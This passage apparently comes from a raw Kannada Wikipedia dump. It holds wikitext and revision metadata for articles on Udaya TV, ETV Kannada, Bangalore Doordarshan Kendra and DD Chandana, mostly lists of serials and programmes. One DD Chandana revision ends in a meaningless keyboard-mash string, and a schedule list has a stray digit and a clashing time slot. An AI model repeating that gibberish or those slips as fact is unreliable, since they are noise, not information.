ವಾಹಿನಿ. [[ಭಾರತ]], [[ಶ್ರೀಲಂಕಾ]], [[ಸಿಂಗಾಪುರ]], [[ಅಮೇರಿಕ]] ಮುಂತಾದ ದೇಶಗಳಲ್ಲಿ ಈ ವಾಹಿನಿಯು ಪ್ರಸಾರಗೊಳ್ಳುತ್ತಿದೆ. ==ಉದಯ ಟಿವಿಯಲ್ಲಿನ ಕೆಲವು ಧಾರಾವಾಹಿಗಳು== ===ಪ್ರಸಾರ ವೇಳೆಯ ಕ್ರಮದಲ್ಲಿ ದೈನಂದಿನ ಧಾರಾವಾಹಿಗಳು === * ಮಿಡಲ್‍ಕ್ಲಾಸ್ - ೦೧:೩೦ * ಶರದೃತು - ೦೨:೦೦ * ಅಮೃ2ತವಾಹಿನಿ - ೦೨:೩೦ * ವಾತ್ಸಲ್ಯ - ೦೩:೦೦ * ತಕಧಿಮಿತಾ - ೦೩:೩೦ * [[ನಾಕುತಂತಿ (ಕಿರುತೆರೆ ಧಾರಾವಾಹಿ)|ನಾಕುತಂತಿ]] - ೦೪:೦೦ * ಅಪ್ಪ - ೦೪:೩೦ * ಕನ್ನಡಿಯಿಲ್ಲದ ಮನೆ - ೦೫:೩೦ * ಕಾದಂಬರಿ - ೦೬:೦೦ * ಕುಂಕುಮ ಭಾಗ್ಯ - ೦೬:೩೦ * ಪುಣ್ಯಕೋಟಿ - ೦೭:೦೦ * ತಂಗಾಲಿ - ೦೭:೩೦ * ಜೋಕಾಲಿ - ೦೮:೩೦ * ಬಂಗಾರ - ೦೯:೦೦ * ಮಾಂಗಲ್ಯ - ೦೯:೩೦ * [[ನಂದಿನಿ (ದೂರದರ್ಶನ ದಾರವಾಹಿ)|ನಂದಿನಿ]] - ೦೮:೩೦ ===ಪ್ರಸಾರದಲ್ಲಿರುವ ವಾರಾಂತ್ಯದ ಧಾರಾವಾಹಿಗಳು=== * ಅಮ್ಮ ನಾಗಮ್ಮ * ಮ್ಯಾಜಿಕ್ ಮಾಮ * ನಳ ದಮಯಂತಿ ===ಹಳೆಯ ಧಾರಾವಾಹಿಗಳು=== * [[ಮಹಾಮಾಯೆ]] * ದಂಡ ಪಿಂಡಗಳು * ಸಂಕ್ರಾಂತಿ * ಪಾರ್ವತಿ ==ಕಾರ್ಯಕ್ರಮಗಳು== ===ಪ್ರಸಾರದಲ್ಲಿರುವ ಕಾರ್ಯಕ್ರಮಗಳು=== * ಓಲ್ಡ್ ಈಸ್ ಗೋಲ್ಡ್ * ಕಾಮಿಡಿ ಟೈಮ್ * ನಕ್ಷತ್ರ * ಜೇಡರ ಬಲೆ * ಟಾಪ್ ಟೆನ್ * ಕ್ರೇಜಿ ಟೈಮ್ * ಸಖತ್ ಸಿನೆಮಾ * [[ಕುರಿಗಳು ಸಾರ್ ಕುರಿಗಳು (ಕಿರುತೆರೆ ಕಾರ್ಯಕ್ರಮ)|ಕುರಿಗಳು ಸಾರ್ ಕುರಿಗಳು]] ===ಹಳೆಯ ಕಾರ್ಯಕ್ರಮಗಳು=== * [[ಕುಹು ಕುಹು]] * ಮುಖಾಮುಖಿ * ಹೆಜ್ಜೆ ಗುರುತು * [[ಹರಟೆ (ಉದಯಟಿವಿ ಕಾರ್ಯಕ್ರಮ)|ಹರಟೆ]] * ಕಪಿಚೇಷ್ಟೆ ==ಹೊರಗಿನ ಸಂಪರ್ಕ== * [http://www.sunnetwork.in/udayatv ಉದಯ ಟಿವಿ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] {{Webarchive|url=https://web.archive.org/web/20060715140222/http://sunnetwork.in/udayatv/ |date=2006-07-15 }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] clg1t5phs8bpkkp9gzvh91n66h6k5x8 ಈ-ಟಿವಿ ಕನ್ನಡ 0 8361 1116609 1053486 2022-08-24T09:23:18Z Ishqyk 76644 wikitext text/x-wiki {{cn}} '''''ಈ-ಟಿವಿ ಕನ್ನಡ''''' - [[ಕನ್ನಡ]]ದ ಪ್ರಮುಖ ಖಾಸಗಿ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳಲ್ಲೊಂದು. [[ತೆಲುಗು|ತೆಲುಗಿನ]] [[ಈನಾಡು ಟಿವಿ]] ವಾಹಿನಿಯ ಸಹಯೋಗದೊಂದಿಗೆ ಈ-ಟಿವಿ ಕನ್ನಡ ವಾಹಿನಿಯು ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿದೆ. ಇದೇ ವಾಹಿನಿಯ ಇತರ ಅವರಣಿಕೆಗಳು, [[ಮರಾಠಿ]], [[ಬಂಗಾಳಿ]], [[ಗುಜರಾತಿ]] ಮುಂತಾದ [[ಭಾರತೀಯ ಭಾಷೆಗಳು|ಭಾರತೀಯ ಭಾಷೆಗಳಲ್ಲಿ]] ಪ್ರಸಾರವಾಗುತ್ತಿವೆ. [[ಭಾರತ]], [[ಶ್ರೀಲಂಕಾ]], [[ಪಾಕಿಸ್ತಾನ]] ಮುಂತಾದ ದೇಶಗಳಲ್ಲಿ ಈ ವಾಹಿನಿಯು ಪ್ರಸಾರಗೊಳ್ಳುತ್ತಿದೆ. ==ಈ ವಾಹಿನಿಯಲ್ಲಿನ ಕೆಲವು ಧಾರಾವಾಹಿಗಳು== ===ಪ್ರಸ್ತುತವಾಗಿ ಪ್ರಸಾರವಾಗುತ್ತಿರುವ ಪ್ರಮುಖ ಧಾರಾವಾಹಿಗಳು=== * [[ಮುಕ್ತ ಮುಕ್ತ]] * [[Akka]] * [[putta gowri Maduve]] * [[ಬದುಕು (ಧಾರಾವಾಹಿ)]] * [[ರಾಧಾ]] * [[ಸುಕನ್ಯ]] - ದೂರದರ್ಶನದಲ್ಲಿ ಪ್ರಸಾರವಾದ ಧಾರಾವಾಹಿಯ ಮರುಪ್ರಸಾರ ===ಹಿಂದೆ ಪ್ರಸಾರವಾದ ಪ್ರಮುಖ ಧಾರಾವಾಹಿಗಳು=== * [[ಪಾ.ಪ.ಪಾಂಡು]] * [[ಗರ್ವ]] * [[ಗೃಹಭಂಗ]] * [[ಮುಕ್ತ]] * [[ಮನ್ವಂತರ]] * [[ಸಿಲ್ಲಿ ಲಲ್ಲಿ]] * [[ಗುಪ್ತಗಾಮಿನಿ (ಧಾರಾವಾಹಿ)]] * [[ಪ್ರೀತಿ ಇಲ್ಲದ ಮೇಲೆ]] * [[ಮಾಯಾಮೃಗ]] - ದೂರದರ್ಶನದಲ್ಲಿ ಪ್ರಸಾರವಾದ ಧಾರಾವಾಹಿಯ ಮರುಪ್ರಸಾರ * [[ಬ್ರಂದಾವನ]] ==ಪ್ರಮುಖ ಕಾರ್ಯಕ್ರಮಗಳು== * [[ಎದೆ ತುಂಬಿ ಹಾಡುವೆನು]] * [[ರಾಗ ರಂಜನಿ]] * [[ಪಂಚತಂತ್ರ (ಟಿವಿ ಕಾರ್ಯಕ್ರಮ)]] * [[ಕನ್ನಡ ನಾಡಿ]] * [[ಸವಿರುಚಿ]] ==ಹೊರಗಿನ ಸಂಪರ್ಕಗಳು== *[http://www.etv.co.in/d2e_tv/index1.php ಈ-ಟಿವಿ ಕನ್ನಡದ ಅಂತರ್ಜಾಲ ತಾಣ] {{Webarchive|url=https://web.archive.org/web/20060721173729/http://www.etv.co.in/d2e_tv/index1.php |date=2006-07-21 }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 7vo0ygmahvpx0plilvzu5lvi90uuwnb ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ 0 8363 1116614 1056925 2022-08-24T09:26:05Z Ishqyk 76644 wikitext text/x-wiki ==ದೂರದರ್ಶನ ಕೇಂದ್ರ - ಬೆಂಗಳೂರು== '''ದೂರದರ್ಶನ ಕೇಂದ್ರ - ಬೆಂಗಳೂರು''': ಭಾರತದ ಏಕೈಕ ಸಾರ್ವಜನಿಕ ಕಿರುತೆರೆ ಜಾಲವಾದ [[ದೂರದರ್ಶನ (ಕಿರುತೆರೆ ವಾಹಿನಿ ಜಾಲ)|ದೂರದರ್ಶನ]]ದ ಬೆಂಗಳೂರು ಕೇಂದ್ರ. ==ಇತಿಹಾಸ== ===ಸ್ಥಾಪನೆ=== ೧೯೮೨ರಲ್ಲಿ ದೂರದರ್ಶನ ರಾಷ್ಟ್ರೀಯ ವಾಹಿನಿಯ ಪ್ರಸಾರ ಕೇಂದ್ರವಾಗಿ ಸ್ಥಾಪನೆಗೊಂಡ ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರವು [[ಶಂಕರ್ ಗುರು]] ಚಲನಚಿತ್ರದ ಪ್ರಸಾರದೊಡನೆ ಚಾಲನೆಗೊಂಡಿತು. ನಂತರ ೧೯೮೪ರಲ್ಲಿ ಕನ್ನಡ ಕಾರ್ಯಕ್ರಮಗಳ ಪ್ರಸಾರದೊಡನೆ ಸ್ವತಂತ್ರವಾಹಿನಿ ಯಾಯಿತು. ===ಪ್ರಾರಂಭದ ಹಂತ=== ಪ್ರತಿನಿತ್ಯ ಸಂಜೆ ಕೆಲವು ಗಂಟೆಗಳ ಕನ್ನಡ ಕಾರ್ಯಕ್ರಮಗಳ ಪ್ರಸಾರವಾಗಲು ತೊಡಗಿದವು ಹಾಗು [[ಹಂಸಗೀತೆ]] ಚಲನಚಿತ್ರದ ಪ್ರಸಾರದೊಡನೆ ವಾರಕ್ಕೊಮ್ಮೆ ಕನ್ನಡ ಚಲನಚಿತ್ರದ ಪ್ರಸಾರವಾಗಲು ಪ್ರಾರಂಭವಾಯಿತು. ಕನ್ನಡ ವಾರ್ತೆಗಳು, ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮವಾದ [[ಚಿತ್ರಮಂಜರಿ]], ನಾಟಕ, ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ/ಭಾವಗೀತೆ, ಶೈಕ್ಷಣಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಬಿತ್ತರಗೊಳ್ಳಲು ಶುರುವಾಯಿತು. ===ಬೆಳವಣಿಗೆ=== [[ಸಿಹಿ ಕಹಿ]] ಬೆಂಗಳೂರು ದೂರದರ್ಶನದಲ್ಲಿ ಪ್ರಸಾರವಾದ ಮೊದಲ ಧಾರಾವಾಹಿ. [[ಸಿಹಿ ಕಹಿ]]ಯ ಯಶಸ್ಸಿನ ಹಿಂದೆಯೇ ಅನೇಕ ಧಾರಾವಾಹಿಗಳ ನಿರ್ಮಾಣವಾದವು, ಹಾಗೆಯೇ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಾಯೋಜಿಸುವ ಪ್ರಕ್ರಿಯೆ ಪ್ರಾರಂಭವಾಯಿತು. ೯೦ರ ದಶಕದ ಮಧ್ಯದಲ್ಲಿ '''ಡಿ.ಡಿ.೯''' ಎಂಬ ಇನ್ನೊಂದು ವಾಹಿನಿಯೂ ಪ್ರಾರಂಭವಾಯಿತು. ===ಇಂದಿನ ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ=== ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದಲ್ಲಿ ಮಧ್ಯಾಹ್ನ ೩ರಿಂದ ರಾತ್ರಿ ೮ರವರೆಗೆ ಪ್ರಸಾರದಲ್ಲಿದ್ದು, ನಂತರದ ಸಮಯಗಳಲ್ಲಿ ದೂರದರ್ಶನ ರಾಷ್ಟ್ರೀಯ ಜಾಲದ ಕಾರ್ಯಕ್ರಮಗಳ ಪ್ರಸಾರವನ್ನು ಮುಂದುವರೆಸುತ್ತದೆ. ಡಿ.ಡಿ.೯ ವಾಹಿನಿಯು ೧೯೯೯ರಲ್ಲಿ [[ದೂರದರ್ಶನ (ಚಂದನ)|ಚಂದನ]] ಎಂಬ ಹೆಸರಿಂದ ಅಧಿಕ ಅವಧಿಯ ಪ್ರಸಾರವನ್ನು ಮುಂದುವರೆಸಿ, ಸದ್ಯಕ್ಕೆ ಬೆಳಗ್ಗೆ ೫ರಿಂದ ರಾತ್ರಿ ೧೦ರವರೆಗೆ ಪ್ರಸಾರದಲ್ಲಿರುವ ವಾಹಿನಿಯಾಗಿದೆ. ==ಧಾರಾವಾಹಿಗಳು== ===ಪ್ರಸಾರದಲ್ಲಿರುವ ದೈನಂದಿನ ಧಾರಾವಾಹಿಗಳು=== * ಕಂಕಣ * ಕಿರಣ * ಶಿವ * ಕಾದಂಬರಿ * ವಿಶ್ವರೂಪ * ಬಿಸಿಲು ಕುದುರೆ (ಹಳೆಯ ಧಾರಾವಾಹಿಯ ಮರುಪ್ರಸಾರ) * ಭಗೀರಥ * ಗಲಿ ಬಿಲಿ ಸಂಸಾರ ===ಪ್ರಸಾರದಲ್ಲಿರುವ ವಾರಾಂತ್ಯದ ಧಾರಾವಾಹಿಗಳು=== * ವಿಕ್ರಮ ಮತ್ತು ಬೇತಾಳ ===ಹಳೆಯ ಧಾರಾವಾಹಿಗಳು=== * ಅಜಿತನ ಸಾಹಸಗಳು * ಆಸೆಗಳು ನೂರಾರು * ಕಂಡಕ್ಟರ್ ಕರಿಯಪ್ಪ * ಕಟ್ಟೆ * ಕೇಳಿದಿರಾ ? * ಕ್ರೇಜಿ ಕರ್ನಲ್ * ಗುಡ್ಡದ ಭೂತ * ತಾಳೋ ನೋಡೋಣ * ತಿರುಗುಬಾಣ * ನಮ್ಮ ನಮ್ಮಲ್ಲಿ * ಬದುಕು ಜಟಕಾಬಂಡಿ * ಬಿಸಿಲು ಕುದುರೆ * ಮಾಯಾಮೃಗ * ರೀ ಮರೀಬೇಡಿ * ವರ ಬೇಕಾಗಿದೆ * ಶ್ರೀಮಾನ್ ಶ್ರೀ ಸಾಮಾನ್ಯ * ಸಿಹಿ ಕಹಿ ==ಕಾರ್ಯಕ್ರಮಗಳು== ===ಪ್ರಸಾರದಲ್ಲಿರುವ ಕಾರ್ಯಕ್ರಮಗಳು=== * ವಾರ್ತೆಗಳು * ಚಿತ್ರಮಂಜರಿ * ಸೊಡರ ಸಿರಿ * ತಾರೆಗಳ ತೋಟದಿಂದ * ಕೃಷಿ ದರ್ಶನ * ಗ್ರಾಮೀಣ ಭಾರತ * ಹೊಸ ಮಿಂಚು * ಸತ್ಯ ದರ್ಶನ * ಮಧುರ ಮಧುರವೀ ಮಂಜುಳಗಾನ * ಥಟ್ ಅಂತ ಹೇಳಿ! ===ಹಳೆಯ ಕಾರ್ಯಕ್ರಮಗಳು=== * ಸುತ್ತ ಮುತ್ತ * ಮುನ್ನೋಟ * ಚಿತ್ರಾವಳಿ * ಅವಲೋಕನ * [[ಪರಿಚಯ (ಕಿರುತೆರೆ ಕಾರ್ಯಕ್ರಮ)|ಪರಿಚಯ]] * [[ನೆಕ್ಟರ್ ಇನ್ ಸ್ಟೋನ್]] ==ಹೊರಗಿನ ಸಂಪರ್ಕ== * [http://www.ddindia.gov.in/DDIndiaChannel/KendraHome.aspx?k=BANGALORE ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ ಅಧಿಕೃತ ತಾಣ] {{Webarchive|url=https://web.archive.org/web/20060902060455/http://www.ddindia.gov.in/DDIndiaChannel/KendraHome.aspx?k=Bangalore |date=2006-09-02 }} * [http://www.ddindia.gov.in/Business/Commercial+And+Sales/DDK+Bangalore+(Rate+Card).htm ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರ ಅಧಿಕೃತ ತಾಣ ಕಾರ್ಯಕ್ರಮ ಪಟ್ಟಿ ಪುಟ] {{Webarchive|url=https://web.archive.org/web/20061006234531/http://www.ddindia.gov.in/Business/Commercial+And+Sales/DDK+Bangalore+%28Rate+Card%29.htm |date=2006-10-06 }} *[https://www.prajavani.net/op-ed/analysis/akashavani-and-diversity-by-dr-basavaraja-sadara-822916.html ಆಕಾಶವಾಣಿಯು ಈಗ ಇಟ್ಟಿರುವ ಕೆಟ್ಟ ಹೆಜ್ಜೆಗಳನ್ನು ಹಿಂಪಡೆಯುವುದು ಔಚಿತ್ಯಪೂರ್ಣ;;;ವಿಶ್ಲೇಷಣೆ: ಬಹುತ್ವಕ್ಕೆ ಮಾರಕವಾಗುತ್ತಿದೆ ಆಕಾಶವಾಣಿ;;;ಡಾ. ಬಸವರಾಜ ಸಾದರ Updated: 17 ಏಪ್ರಿಲ್ 2021], [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಮಾಧ್ಯಮ ಕಂಪನಿಗಳು]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 6szpyn1422yralyk5d45ryxpaii5vf8 ಚಂದನ (ಕಿರುತೆರೆ ವಾಹಿನಿ) 0 8367 1116617 1055000 2022-08-24T09:28:20Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] opsylaw7pvcjtgf2gjjlrl94xzcl3zu 1116622 1116617 2022-08-24T11:16:25Z Ishqyk 76644 Created by translating the section "ಇತಿಹಾಸ" from the page "[[:en:Special:Redirect/revision/1093907272|DD Chandana]]" wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು.ಸ್ವಸ್. S sbsswbbwbwbabs. S. Wbwshw s wheeb s wwh wbjwwns hjyn2anwyhzptx2vp2e9zh3m2lu6bx6 1116623 1116622 2022-08-24T11:16:45Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು 